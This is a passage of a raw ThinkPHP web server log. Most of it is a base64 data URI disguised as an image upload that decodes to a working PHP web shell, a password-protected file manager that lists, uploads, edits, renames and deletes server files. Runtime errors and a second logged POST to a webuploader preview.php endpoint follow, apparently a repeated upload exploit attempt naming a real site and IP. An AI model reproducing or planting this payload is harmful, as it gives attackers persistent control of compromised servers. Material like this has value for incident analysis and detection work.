'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:13+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/common/js/webuploader/0.1.5/server/preview.php [运行时间:0.002538s] [吞吐率:393.98req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 